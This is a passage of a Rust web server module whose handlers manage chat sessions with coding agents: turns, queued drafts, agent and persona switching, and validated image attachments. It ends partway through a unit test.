5848 Some("txt") => "text/plain; charset=utf-8",
5849 _ => "application/octet-stream",
5850 }
5851}
5852
5853fn is_svg(name: &str) -> bool {
5856 extension(name).as_deref() == Some("svg")
5857}
5858
5859fn extension(name: &str) -> Option<String> {
5861 name.rsplit_once('.')
5862 .map(|(_, ext)| ext.to_ascii_lowercase())
5863}
5864
5865fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5882 let mut res = (
5883 [
5884 (header::CONTENT_TYPE, content_type),
5885 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5886 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5887 (header::REFERRER_POLICY, "no-referrer"),
5888 ],
5889 body,
5890 )
5891 .into_response();
5892 if download {
5893 res.headers_mut().insert(
5894 header::CONTENT_DISPOSITION,
5895 HeaderValue::from_static("attachment"),
5896 );
5897 }
5898 res
5899}
5900
5901#[derive(Debug, Serialize)]
5907struct TalkView {
5908 #[serde(flatten)]
5909 talk: Talk,
5910 turn_bodies_md: Vec<Vec<md::Node>>,
5911 thinking: bool,
5919 context: talk::ContextUsage,
5923 operator_name: Option<String>,
5926 persona_name: Option<String>,
5928}
5929
5930impl TalkView {
5931 fn new(talk: Talk, thinking: bool) -> Self {
5934 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5935 Self::with_config(talk, thinking, cfg.as_ref())
5936 }
5937
5938 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5941 let context = talk::context_usage(&talk, cfg);
5942 let turn_bodies_md = talk
5943 .turns
5944 .iter()
5945 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5946 .collect();
5947 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
5948 let persona_name = persona::find(specs, &talk.persona)
5949 .filter(|p| !p.is_default())
5950 .map(|p| p.name);
5951 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
5952 Self {
5953 turn_bodies_md,
5954 thinking,
5955 context,
5956 operator_name,
5957 persona_name,
5958 talk,
5959 }
5960 }
5961}
5962
5963#[derive(Debug, Serialize)]
5968struct TalkDetailView {
5969 #[serde(flatten)]
5970 view: TalkView,
5971 tasks: Vec<TaskView>,
5972 roster: Vec<RosterEntry>,
5975 personas: Vec<PersonaEntry>,
5978}
5979
5980#[derive(Debug, Serialize)]
5982struct PersonaEntry {
5983 id: String,
5984 name: String,
5985}
5986
5987#[derive(Debug, Serialize)]
5989struct RosterEntry {
5990 id: String,
5991 kind: AgentKind,
5992 runnable: bool,
5994}
5995
5996async fn talks_list(
6001 State(ui): State<Arc<Ui>>,
6002 Query(q): Query<ListQuery>,
6003) -> ApiResult<Json<Vec<TalkView>>> {
6004 blocking(move || {
6005 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6006 Ok(Json(
6007 ui.talks
6008 .list()
6009 .into_iter()
6010 .filter(|talk| q.contains(&talk.id))
6011 .map(|talk| {
6012 let thinking = ui.is_thinking(&talk.id);
6013 let cfg = configs
6014 .entry(talk.repo.clone())
6015 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6016 TalkView::with_config(talk, thinking, cfg.as_ref())
6017 })
6018 .collect(),
6019 ))
6020 })
6021 .await
6022}
6023
6024#[derive(Debug, Default, Deserialize)]
6029#[serde(default)]
6030struct NewTalk {
6031 agent: Option<String>,
6032 repo: Option<PathBuf>,
6033}
6034
6035async fn talk_post(
6038 State(ui): State<Arc<Ui>>,
6039 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6040) -> ApiResult<impl IntoResponse> {
6041 let body = match body {
6045 Ok(Json(body)) => body,
6046 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6047 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6048 };
6049 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6050 let cfg = config_for(&repo).await?;
6051 let view = blocking(move || {
6052 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6053 let thinking = ui.is_thinking(&talk.id);
6054 Ok(TalkView::new(talk, thinking))
6055 })
6056 .await?;
6057 Ok((StatusCode::CREATED, Json(view)))
6058}
6059
6060async fn talk_detail(
6062 State(ui): State<Arc<Ui>>,
6063 Path(id): Path<String>,
6064) -> ApiResult<Json<TalkDetailView>> {
6065 blocking(move || {
6066 let id = resolve_talk(&ui.talks, &id)?;
6067 let talk = ui.talks.get(&id)?;
6068 let thinking = ui.is_thinking(&talk.id);
6069 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6070 .into_iter()
6071 .map(TaskView::from)
6072 .collect();
6073 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6074 let roster = cfg
6075 .as_ref()
6076 .map(|cfg| {
6077 cfg.agents
6078 .iter()
6079 .map(|a| RosterEntry {
6080 id: a.id.clone(),
6081 kind: a.kind,
6082 runnable: agent::installed(a),
6083 })
6084 .collect()
6085 })
6086 .unwrap_or_default();
6087 let specs = cfg
6088 .as_ref()
6089 .map(|cfg| cfg.talk.personas.clone())
6090 .unwrap_or_default();
6091 let personas = persona::catalog(&specs)
6092 .into_iter()
6093 .map(|p| PersonaEntry {
6094 id: p.id,
6095 name: p.name,
6096 })
6097 .collect();
6098 Ok(Json(TalkDetailView {
6099 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6100 tasks,
6101 roster,
6102 personas,
6103 }))
6104 })
6105 .await
6106}
6107
6108#[derive(Debug, Default, Deserialize)]
6114#[serde(default, deny_unknown_fields)]
6115struct NewTalkTurn {
6116 text: String,
6117 attachments: Vec<String>,
6118}
6119
6120#[derive(Debug, Deserialize)]
6121#[serde(deny_unknown_fields)]
6122struct EditTalkPending {
6123 text: String,
6124 expected_text: String,
6125 expected_attachments: Vec<String>,
6126}
6127
6128#[derive(Debug, Deserialize)]
6129#[serde(deny_unknown_fields)]
6130struct ClearTalkPending {
6131 expected_text: String,
6132 expected_attachments: Vec<String>,
6133}
6134
6135async fn talk_say(
6147 State(ui): State<Arc<Ui>>,
6148 Path(id): Path<String>,
6149 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6150) -> ApiResult<(StatusCode, Json<TalkView>)> {
6151 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6152 if body.text.trim().is_empty() && body.attachments.is_empty() {
6153 return Err(ApiError::bad_request("say something"));
6154 }
6155
6156 let id = {
6157 let ui = Arc::clone(&ui);
6158 let asked = id.clone();
6159 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6160 };
6161 {
6165 let ui = Arc::clone(&ui);
6166 let id = id.clone();
6167 blocking(move || {
6168 let talk = ui.talks.get(&id)?;
6169 if !talk.status.open() {
6170 return Err(ApiError::conflict(format!(
6171 "talk {} is {} and takes no more turns",
6172 talk.short(),
6173 talk.status.as_str()
6174 )));
6175 }
6176 Ok(())
6177 })
6178 .await?;
6179 }
6180
6181 let attachments = {
6186 let ui = Arc::clone(&ui);
6187 let id = id.clone();
6188 let ids = body.attachments.clone();
6189 blocking(move || {
6190 ids.into_iter()
6191 .map(|att_id| {
6192 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6193 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6194 })
6195 })
6196 .collect::<ApiResult<Vec<talk::Attachment>>>()
6197 })
6198 .await?
6199 };
6200
6201 let start = {
6206 let ui = Arc::clone(&ui);
6207 let id = id.clone();
6208 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6209 };
6210 let turn_guard = match start {
6211 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6212 TalkTurnStart::Pending => {
6213 return Err(ApiError::conflict(
6214 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6215 ));
6216 }
6217 TalkTurnStart::Foreign => {
6218 return Err(ApiError::conflict(
6219 "a turn is already running in another process; try again when it has finished",
6220 ));
6221 }
6222 TalkTurnStart::Busy => {
6223 let (tx, rx) = tokio::sync::oneshot::channel();
6239 tokio::spawn({
6240 let ui = Arc::clone(&ui);
6241 let id = id.clone();
6242 let said = body.text.clone();
6243 async move {
6244 let written = blocking({
6245 let ui = Arc::clone(&ui);
6246 let id = id.clone();
6247 move || {
6248 let mut talk = ui.talks.get(&id)?;
6249 #[cfg(test)]
6254 if let Some(gate) = ui
6255 .busy_queue_gate
6256 .lock()
6257 .unwrap_or_else(PoisonError::into_inner)
6258 .take()
6259 {
6260 let _ = gate.reached.send(());
6261 let _ = gate.release.recv();
6262 }
6263 if let Err(error) =
6264 talk::queue(&mut talk, &ui.talks, &said, attachments)
6265 {
6266 if let Ok(fresh) = ui.talks.get(&id) {
6267 if !fresh.status.open() {
6268 return Err(ApiError::conflict(format!(
6269 "talk {} is {} and takes no more turns",
6270 fresh.short(),
6271 fresh.status.as_str()
6272 )));
6273 }
6274 }
6275 return Err(ApiError::from(error));
6276 }
6277 let claim = match ui.begin_queued_talk_turn(&id)? {
6288 Some(turn_guard) => {
6289 let (cfg, _) = Config::discover(&talk.repo, None)?;
6290 Some((talk.clone(), cfg, turn_guard))
6291 }
6292 None => None,
6293 };
6294 let thinking = ui.is_thinking(&id);
6295 Ok((TalkView::new(talk, thinking), claim))
6296 }
6297 })
6298 .await;
6299 let (view, reclaimed) = match written {
6300 Ok(pair) => pair,
6301 Err(e) => {
6302 let _ = tx.send(Err(e));
6307 return;
6308 }
6309 };
6310 let _ = tx.send(Ok(view));
6313 if let Some((talk, cfg, turn_guard)) = reclaimed {
6314 let talks = ui.talks.clone();
6315 drain_loop(talk, talks, cfg, id, turn_guard).await;
6316 }
6317 }
6318 });
6319 let view = rx
6320 .await
6321 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6322 return Ok((StatusCode::ACCEPTED, Json(view)));
6323 }
6324 };
6325
6326 let (talk, cfg) = {
6327 let ui = Arc::clone(&ui);
6328 let id = id.clone();
6329 blocking(move || {
6330 let talk = ui.talks.get(&id)?;
6331 let (cfg, _) = Config::discover(&talk.repo, None)?;
6332 Ok((talk, cfg))
6333 })
6334 .await?
6335 };
6336
6337 let talks = ui.talks.clone();
6338 let (tx, rx) = tokio::sync::oneshot::channel();
6353 tokio::spawn({
6354 let ui = Arc::clone(&ui);
6355 let talks = talks.clone();
6356 let id = id.clone();
6357 let said = body.text.clone();
6358 let mut talk = talk.clone();
6359 async move {
6360 let recorded = blocking({
6361 let talks = talks.clone();
6362 move || {
6363 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6364 if let Ok(fresh) = talks.get(&talk.id) {
6365 if !fresh.status.open() {
6366 return Err(ApiError::conflict(format!(
6367 "talk {} is {} and takes no more turns",
6368 fresh.short(),
6369 fresh.status.as_str()
6370 )));
6371 }
6372 }
6373 return Err(ApiError::from(error));
6374 }
6375 Ok((said.trim().to_owned(), talk))
6381 }
6382 })
6383 .await;
6384 let (text, mut talk) = match recorded {
6385 Ok(pair) => pair,
6386 Err(e) => {
6387 let _ = tx.send(Err(e));
6391 return;
6392 }
6393 };
6394 let queued = talk.clone();
6395 let thinking = ui.is_thinking(&id);
6396 let _ = tx.send(Ok((queued, thinking)));
6399
6400 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6401 tracing::warn!("talk {id} turn failed: {e:#}");
6405 }
6406 drain_loop(talk, talks, cfg, id, turn_guard).await;
6409 }
6410 });
6411
6412 let (queued, thinking) = rx
6413 .await
6414 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6415
6416 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6418}
6419
6420async fn talk_pending_resume(
6424 State(ui): State<Arc<Ui>>,
6425 Path(id): Path<String>,
6426) -> ApiResult<(StatusCode, Json<TalkView>)> {
6427 let id = {
6428 let ui = Arc::clone(&ui);
6429 let asked = id.clone();
6430 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6431 };
6432 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6433 return Err(ApiError::conflict(
6434 "a talk turn is already running; the queued draft will be handled by it",
6435 ));
6436 };
6437 let (talk, cfg) = {
6438 let ui = Arc::clone(&ui);
6439 let id = id.clone();
6440 blocking(move || {
6441 let talk = ui.talks.get(&id)?;
6442 if !talk.status.open() {
6443 return Err(ApiError::conflict(format!(
6444 "talk {} is {} and takes no more turns",
6445 talk.short(),
6446 talk.status.as_str()
6447 )));
6448 }
6449 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6450 return Err(ApiError::conflict("there is no queued draft to resume"));
6451 }
6452 let (cfg, _) = Config::discover(&talk.repo, None)?;
6453 Ok((talk, cfg))
6454 })
6455 .await?
6456 };
6457 let view = TalkView::new(talk.clone(), true);
6458 let talks = ui.talks.clone();
6459 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6460 Ok((StatusCode::ACCEPTED, Json(view)))
6461}
6462
6463async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6479 let live_set = Arc::clone(&turn.turns);
6480 let mut turn = Some(turn);
6488 loop {
6489 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6490 tracing::warn!("talk {id} lost its turn lease; not draining further");
6493 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6494 if let Some(turn) = turn.take() {
6495 turn.release(&mut live);
6496 }
6497 break;
6498 }
6499 let observed = live_set
6503 .lock()
6504 .unwrap_or_else(PoisonError::into_inner)
6505 .queued
6506 .get(&id)
6507 .copied()
6508 .unwrap_or(0);
6509 let drained = blocking({
6510 let talks = talks.clone();
6511 move || {
6512 let result = talk::drain(&mut talk, &talks);
6513 Ok((talk, result))
6514 }
6515 })
6516 .await;
6517 let (next_talk, result) = match drained {
6518 Ok(drained) => drained,
6519 Err(e) => {
6520 tracing::warn!(
6521 status = %e.status,
6522 message = %e.message,
6523 "talk {id} could not start queued-text drain"
6524 );
6525 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6526 turn.take()
6527 .expect("held for the whole loop until released here")
6528 .release(&mut live);
6529 break;
6530 }
6531 };
6532 talk = next_talk;
6533 let drained = match result {
6534 Ok(Some(drained)) => drained,
6535 Ok(None) => {
6536 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6537 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6538 continue;
6539 }
6540 turn.take()
6541 .expect("held for the whole loop until released here")
6542 .release(&mut live);
6543 break;
6544 }
6545 Err(e) => {
6546 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6547 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6548 turn.take()
6549 .expect("held for the whole loop until released here")
6550 .release(&mut live);
6551 break;
6552 }
6553 };
6554 let responded = match turn.as_ref() {
6555 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6556 None => Err(anyhow::anyhow!("the turn guard was released")),
6557 };
6558 if let Err(e) = responded {
6559 tracing::warn!("talk {id} turn failed: {e:#}");
6560 }
6561 }
6562}
6563
6564async fn talk_pending_clear(
6566 State(ui): State<Arc<Ui>>,
6567 Path(id): Path<String>,
6568 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6569) -> ApiResult<Json<TalkView>> {
6570 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6571 blocking(move || {
6572 let id = resolve_talk(&ui.talks, &id)?;
6573 let mut talk = ui.talks.get(&id)?;
6574 if !talk.status.open() {
6575 return Err(ApiError::conflict(format!(
6576 "talk {} is {} and takes no more turns",
6577 talk.short(),
6578 talk.status.as_str()
6579 )));
6580 }
6581 if !talk::clear_pending_if_matches(
6582 &mut talk,
6583 &ui.talks,
6584 &body.expected_text,
6585 &body.expected_attachments,
6586 )? {
6587 return Err(ApiError::conflict(
6588 "queued message changed; reload it before clearing",
6589 ));
6590 }
6591 let thinking = ui.is_thinking(&talk.id);
6592 Ok(Json(TalkView::new(talk, thinking)))
6593 })
6594 .await
6595}
6596
6597async fn talk_pending_edit(
6601 State(ui): State<Arc<Ui>>,
6602 Path(id): Path<String>,
6603 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6604) -> ApiResult<Json<TalkView>> {
6605 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6606 let (view, reclaimed) = blocking({
6607 let ui = Arc::clone(&ui);
6608 move || {
6609 let id = resolve_talk(&ui.talks, &id)?;
6610 let mut talk = ui.talks.get(&id)?;
6611 if !talk.status.open() {
6612 return Err(ApiError::conflict(format!(
6613 "talk {} is {} and takes no more turns",
6614 talk.short(),
6615 talk.status.as_str()
6616 )));
6617 }
6618 if !talk::edit_pending_text(
6619 &mut talk,
6620 &ui.talks,
6621 &body.text,
6622 &body.expected_text,
6623 &body.expected_attachments,
6624 )? {
6625 return Err(ApiError::conflict(
6626 "queued message changed; reload it before editing",
6627 ));
6628 }
6629 let claim = match ui.begin_queued_talk_turn(&id)? {
6630 Some(turn_guard) => {
6631 let (cfg, _) = Config::discover(&talk.repo, None)?;
6632 Some((talk.clone(), cfg, id.clone(), turn_guard))
6633 }
6634 None => None,
6635 };
6636 let thinking = ui.is_thinking(&id);
6637 Ok((TalkView::new(talk, thinking), claim))
6638 }
6639 })
6640 .await?;
6641 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6642 let talks = ui.talks.clone();
6643 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6644 }
6645 Ok(Json(view))
6646}
6647
6648#[derive(Debug, Deserialize)]
6650struct TalkAgent {
6651 agent: String,
6652}
6653
6654async fn talk_agent(
6659 State(ui): State<Arc<Ui>>,
6660 Path(id): Path<String>,
6661 Json(body): Json<TalkAgent>,
6662) -> ApiResult<Json<TalkView>> {
6663 let id = {
6664 let ui = Arc::clone(&ui);
6665 blocking(move || resolve_talk(&ui.talks, &id)).await?
6666 };
6667 let repo = {
6668 let ui = Arc::clone(&ui);
6669 let id = id.clone();
6670 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6671 };
6672 let cfg = config_for(&repo).await?;
6673 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6674 return Err(ApiError::conflict(
6675 "a talk turn is running; change the agent once it has answered",
6676 ));
6677 };
6678 let switched = {
6679 let ui = Arc::clone(&ui);
6680 let id = id.clone();
6681 let cfg = cfg.clone();
6682 blocking(move || {
6683 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6684 .map_err(ApiError::bad_request_from)?;
6685 let mut talk = ui.talks.get(&id)?;
6686 if !talk.status.open() {
6687 return Err(ApiError::conflict(format!(
6688 "talk {} is {} and takes no more turns",
6689 talk.short(),
6690 talk.status.as_str()
6691 )));
6692 }
6693 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6694 Ok(talk)
6695 })
6696 .await
6697 };
6698 let fresh = {
6703 let ui = Arc::clone(&ui);
6704 let id = id.clone();
6705 blocking(move || Ok(ui.talks.get(&id)?)).await
6706 };
6707 let draining = match fresh {
6708 Ok(talk) => {
6709 let draining = talk.status.open()
6710 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6711 let talks = ui.talks.clone();
6712 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6713 draining
6714 }
6715 Err(_) => false,
6716 };
6717 let talk = switched?;
6718 Ok(Json(TalkView::new(talk, draining)))
6719}
6720
6721#[derive(Debug, Deserialize)]
6723struct TalkPersona {
6724 persona: String,
6725}
6726
6727async fn talk_persona(
6731 State(ui): State<Arc<Ui>>,
6732 Path(id): Path<String>,
6733 Json(body): Json<TalkPersona>,
6734) -> ApiResult<Json<TalkView>> {
6735 let id = {
6736 let ui = Arc::clone(&ui);
6737 blocking(move || resolve_talk(&ui.talks, &id)).await?
6738 };
6739 let repo = {
6740 let ui = Arc::clone(&ui);
6741 let id = id.clone();
6742 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6743 };
6744 let cfg = config_for(&repo).await?;
6745 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6746 return Err(ApiError::conflict(
6747 "a talk turn is running; change the persona once it has answered",
6748 ));
6749 };
6750 let switched = {
6751 let ui = Arc::clone(&ui);
6752 let id = id.clone();
6753 let cfg = cfg.clone();
6754 blocking(move || {
6755 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6756 return Err(ApiError::bad_request(format!(
6757 "unknown persona `{}`",
6758 body.persona
6759 )));
6760 };
6761 let mut talk = ui.talks.get(&id)?;
6762 if !talk.status.open() {
6763 return Err(ApiError::conflict(format!(
6764 "talk {} is {} and takes no more turns",
6765 talk.short(),
6766 talk.status.as_str()
6767 )));
6768 }
6769 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6770 Ok(talk)
6771 })
6772 .await
6773 };
6774 let fresh = {
6776 let ui = Arc::clone(&ui);
6777 let id = id.clone();
6778 blocking(move || Ok(ui.talks.get(&id)?)).await
6779 };
6780 let draining = match fresh {
6781 Ok(talk) => {
6782 let draining = talk.status.open()
6783 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6784 let talks = ui.talks.clone();
6785 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6786 draining
6787 }
6788 Err(_) => false,
6789 };
6790 let talk = switched?;
6791 Ok(Json(TalkView::new(talk, draining)))
6792}
6793
6794async fn talk_close(
6796 State(ui): State<Arc<Ui>>,
6797 Path(id): Path<String>,
6798) -> ApiResult<Json<TalkView>> {
6799 blocking(move || {
6800 let id = resolve_talk(&ui.talks, &id)?;
6801 let mut talk = ui.talks.get(&id)?;
6802 talk::close(&mut talk, &ui.talks)?;
6803 let thinking = ui.is_thinking(&talk.id);
6804 Ok(Json(TalkView::new(talk, thinking)))
6805 })
6806 .await
6807}
6808
6809async fn talk_reopen(
6811 State(ui): State<Arc<Ui>>,
6812 Path(id): Path<String>,
6813) -> ApiResult<Json<TalkView>> {
6814 blocking(move || {
6815 let id = resolve_talk(&ui.talks, &id)?;
6816 let mut talk = ui.talks.get(&id)?;
6817 talk::reopen(&mut talk, &ui.talks)?;
6818 let thinking = ui.is_thinking(&talk.id);
6819 Ok(Json(TalkView::new(talk, thinking)))
6820 })
6821 .await
6822}
6823
6824async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6834 blocking(move || {
6835 let id = resolve_talk(&ui.talks, &id)?;
6836 ui.talks.remove(&id)?;
6837 Ok(StatusCode::NO_CONTENT)
6838 })
6839 .await
6840}
6841
6842fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6844 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6845}
6846
6847async fn talk_attachment_post(
6850 State(ui): State<Arc<Ui>>,
6851 Path(id): Path<String>,
6852 headers: HeaderMap,
6853 body: Bytes,
6854) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6855 let mime = validate_attachment(&headers, &body)?;
6856 let name = filename_header(&headers);
6857 let data = body.to_vec();
6858 blocking(move || {
6859 let id = resolve_talk(&ui.talks, &id)?;
6860 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6861 Ok((StatusCode::CREATED, Json(att)))
6862 })
6863 .await
6864}
6865
6866async fn talk_attachment_get(
6869 State(ui): State<Arc<Ui>>,
6870 Path((id, att)): Path<(String, String)>,
6871) -> ApiResult<Response> {
6872 blocking(move || {
6873 let id = resolve_talk(&ui.talks, &id)?;
6874 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6875 return Err(ApiError::not_found(format!(
6876 "talk {id} has no attachment `{att}`"
6877 )));
6878 };
6879 Ok(attachment_response(&meta.mime, data))
6880 })
6881 .await
6882}
6883
6884fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6895 if data.len() > ATTACHMENT_MAX_BYTES {
6896 return Err(ApiError::bad_request(format!(
6897 "attachment is {} bytes, over the {} MiB limit",
6898 data.len(),
6899 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6900 ))
6901 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6902 }
6903 if data.is_empty() {
6904 return Err(ApiError::bad_request("attachment is empty"));
6905 }
6906 let declared = declared_mime(headers)?;
6907 match sniffed_mime(data) {
6908 Some(sniffed) if sniffed == declared => Ok(declared),
6909 Some(sniffed) => Err(ApiError::bad_request(format!(
6910 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6911 ))),
6912 None => Err(ApiError::bad_request(
6913 "the file's bytes do not match any accepted image format",
6914 )),
6915 }
6916}
6917
6918fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6922 let raw = headers
6923 .get(header::CONTENT_TYPE)
6924 .and_then(|v| v.to_str().ok())
6925 .unwrap_or("")
6926 .split(';')
6927 .next()
6928 .unwrap_or("")
6929 .trim()
6930 .to_ascii_lowercase();
6931 ATTACHMENT_MIME_WHITELIST
6932 .iter()
6933 .find(|&&m| m == raw)
6934 .copied()
6935 .ok_or_else(|| {
6936 if raw == "image/svg+xml" {
6937 ApiError::bad_request(
6938 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6939 not just a picture",
6940 )
6941 } else if raw.is_empty() {
6942 ApiError::bad_request("Content-Type is required for an attachment upload")
6943 } else {
6944 ApiError::bad_request(format!(
6945 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6946 image/gif or image/webp"
6947 ))
6948 }
6949 })
6950}
6951
6952fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6955 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6956 Some("image/png")
6957 } else if data.starts_with(b"\xff\xd8\xff") {
6958 Some("image/jpeg")
6959 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6960 Some("image/gif")
6961 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6962 Some("image/webp")
6963 } else {
6964 None
6965 }
6966}
6967
6968fn filename_header(headers: &HeaderMap) -> String {
6974 headers
6975 .get(FILENAME_HEADER)
6976 .and_then(|v| v.to_str().ok())
6977 .map(str::trim)
6978 .filter(|s| !s.is_empty())
6979 .unwrap_or("attachment")
6980 .to_owned()
6981}
6982
6983fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6990 let content_type = ATTACHMENT_MIME_WHITELIST
6991 .iter()
6992 .find(|&&m| m == mime)
6993 .copied()
6994 .unwrap_or("application/octet-stream");
6995 (
6996 [
6997 (header::CONTENT_TYPE, content_type),
6998 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6999 ],
7000 body,
7001 )
7002 .into_response()
7003}
7004
7005async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7013 let repo = repo.to_path_buf();
7014 blocking(move || {
7015 let (cfg, _) = Config::discover(&repo, None)?;
7016 Ok(cfg)
7017 })
7018 .await
7019}
7020
7021fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7027 let mut hits = ids
7028 .into_iter()
7029 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7030 match (hits.next(), hits.next()) {
7031 (Some(one), None) => Ok(one),
7032 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7033 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7034 "`{prefix}` matches more than one {what}, including {a} and {b}"
7035 ))),
7036 }
7037}
7038
7039#[cfg(test)]
7040mod tests {
7041
7042 #[test]
7043 fn holder_reads_the_lease_not_the_record() {
7044 let mut q = Question::new(
7045 "run".to_owned(),
7046 "implement".to_owned(),
7047 "impl-A".to_owned(),
7048 "which?".to_owned(),
7049 String::new(),
7050 Vec::new(),
7051 );
7052 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7053 q.cwd = Some("/tmp".to_owned());
7054 assert_eq!(holder_of(&q, None), Some("nobody"));
7055 let beat = |kind, ago: i64| ask::Lease {
7056 kind,
7057 pid: 1,
7058 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7059 .unwrap(),
7060 };
7061 let fresh = beat(ask::WaiterKind::Asker, 1);
7062 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7063 let daemon = beat(ask::WaiterKind::Daemon, 1);
7064 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7065 let stale = beat(ask::WaiterKind::Asker, 3600);
7066 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7067
7068 let mut c = Question::new(
7071 "task".to_owned(),
7072 crate::conduct::NODE.to_owned(),
7073 "conduct".to_owned(),
7074 "which?".to_owned(),
7075 String::new(),
7076 Vec::new(),
7077 );
7078 assert_eq!(holder_of(&c, None), Some("nobody"));
7079 c.cwd = Some("/tmp".to_owned());
7080 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7081 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7082 let deputy = beat(ask::WaiterKind::Deputy, 1);
7083 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7084 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7085
7086 let mut r = Question::new(
7088 String::new(),
7089 crate::bump::NOTICE_NODE.to_owned(),
7090 "release-watch".to_owned(),
7091 "stuck?".to_owned(),
7092 String::new(),
7093 vec!["hold".to_owned()],
7094 );
7095 assert_eq!(holder_of(&r, None), Some("nobody"));
7096 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7097 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7098 r.deputy = None;
7100 r.seat = "bump".to_owned();
7101 assert_eq!(holder_of(&r, None), None);
7102
7103 let mut m = Question::new(
7106 "run".to_owned(),
7107 crate::land::APPROVAL_NODE.to_owned(),
